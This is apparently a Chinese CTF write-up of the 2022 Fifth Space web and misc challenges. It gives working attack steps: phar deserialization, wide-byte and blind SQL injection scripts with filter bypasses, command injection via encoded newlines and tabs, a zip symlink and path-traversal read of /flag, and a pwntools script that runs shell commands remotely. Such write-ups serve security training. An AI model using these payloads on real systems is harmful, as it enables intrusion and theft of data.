您当前的位置: 首页 > 

暂无认证

  • 15浏览

    0关注

    93978博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

2022第五空间WEB&MISC

发布时间:2022-09-19 21:46:48 ,浏览量:15

文章目录
  • WEB
    • 5_web_BaliYun
    • 5_easylogin
    • 5_web_Eeeeasy_SQL
    • 5_web_letmeguess_1
  • MISC
    • 5_简单的Base
    • sakana_reveage
    • 5_Misc_m@sTeR_0f
WEB 5_web_BaliYun

扫描目录存在www.zip,下载后解压得到源码。 限制了上传文件的后缀

image-20220919155614953

同时类中存在文件读取函数,很容易联想到phar反序列化。

首先生成phar

 public $filename="/flag"; } $p = new upload(); $phar = new Phar("test.phar"); $phar->startBuffering(); $phar->setStub(""); $phar->setMetadata($p); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?> 

将生成的文件后缀改为test.png,上传后利用file_exists触发

image-20220919155750284

img_name=phar:///var/www/html/upoload/test.png

5_easylogin

只有用户名为admin时会显示密码错误,不过尝试闭合一直没成功,怀疑是被转义了,试了下宽字节注入,可以成功显示报错。

image-20220919160107455

先来尝试登录成功,or和and都被过滤了,这里可以用^

正常情况下^0即可登录成功,但是依然显示密码错误。

那么有可能是先查询出密码在和我们输入的密码进行md5比较,所以通过union构造一个password就可以了。

这里面union和select都被替换成空了,不过可以双写绕过。

payload

password=1&username=admin%df%27ununionion%09seselectlect%091,1,0x6334636134323338613062393233383230646363353039613666373538343962#

5_web_Eeeeasy_SQL

一道sql注入题,过滤了单双引号,所以想到的闭合方式就只剩反斜杠转义了。

先尝试利用or 1登录

image-20220919152734674

经过测试万能密码也会显示用户名密码错误,得找个其他的回显,当sql语句报错时,页面会不显示任何内容。

if被过滤了可以使用case when语句绕过

substr mid被过滤了可以用isstr绕过

空格被过滤了可以用%09代替

最后就是怎么让他既能报错也能显示密码错误。

这里方法还是挺多的,比如pow(1000000,10000),cot(0),exp(100000)

注入脚本如下

import requests import string
s=string.printable print(s) url = "http://39.107.78.119:25912/api/api.php?command=login" x='' for i in range(1,30): print(i) for j in range(32,127): t = ''.join(hex(ord(c))[2:] for c in (x+chr(j))) data={'username':'\\', #'password':f'or(case(instr(binary(username),0x{t}))when(1)then(cot(0))else(1)end)#'} 'password':f'or(case(instr(binary(password),0x{t}))when(1)then(cot(0))else(1)end)#'} r=requests.post(url,data=data,allow_redirects=False) if "success" not in r.text: print(t) x+=chr(j) break #Flag_Account #G1ve_Y0u_@_K3y_70_937_f14g!!! 

得到用户名Flag_Account,密码G1ve_Y0u_@_K3y_70_937_f14g!!!

登录之后访问/api/flag.php

得到源码如下

image-20220919153152963

尝试读取/flag,但是/flag被过滤了,不过过滤语法是用的^也就是不能使用/flag开头,使用//flag即可绕过

payload:file=//flag

5_web_letmeguess_1

题目提示弱密码,那直接弱密码爆破了

image-20220919152503156

爆破出密码为admin123

登录之后,后面是个命令执行

过滤了分号用%0a代替,过滤了空格用%09代替

首先ls看到当前目录下有个kylin

image-20220919152103862

但是不知道这是个文件夹还是文件,直接打开没有内容,猜测是文件夹。

image-20220919152225507

过滤了/那就先cd进去再打开

image-20220919152302705

Payload:ip=%0acd%09k*%0atac%09*

MISC 5_简单的Base

直接16进制解码就可以了

sakana_reveage

下载附件后源码分析

可以上传普通文件或者zip文件,但是普通文件需要sakana开头。

后面还有解压以及下载文件的功能

很容易联想到ctf中常考的软链接,但是有过滤

image-20220919174949381

不过代码上有个逻辑错误

image-20220919175012219

当base64内容有问题时没有直接退出,而是进入进入到了subprocess.run中,执行了unzip命令。

假设我们输入错误的base64会出现如下错误

image-20220919175138106

会去找/tmp/sakanas.zip.zip或者/tmp/sakanas.zip.Zip。

而在1选项中,我们可以上传文件,并且存在目录穿越,这样就可以创建一个/tmp/sakanas.zip.zip文件。

unzip还有个问题,当压缩包中文件头前面有其他内容时,会继续解压。

1、本地生成带软链接的zip压缩包

echo 123 > /flag
ln -s /flag f
zip --symlinks flag.zip f

2、放入010editor中加入sakana

3、将文件base64编码后上传

image-20220919175602309

4、通过base64报错让程序解压上传的文件

image-20220919175658185

5、下载flag

image-20220919175724510

5_Misc_m@sTeR_0f

payload

from pwn import * p = remote('123.56.174.142', 5702) payload = "-interactive" p.sendlineafter(' command --->>', payload) p.sendline('.shell cat /flag.txt;') p.sendline('.quit') p.interactive() 

利用-interactive强制进行交互IOimage-20220919181010931

.shell来执行系统命令,.quit退出

image-20220919181826436

关注
打赏
1655516835
查看更多评论
立即登录/注册

微信扫码登录

0.0598s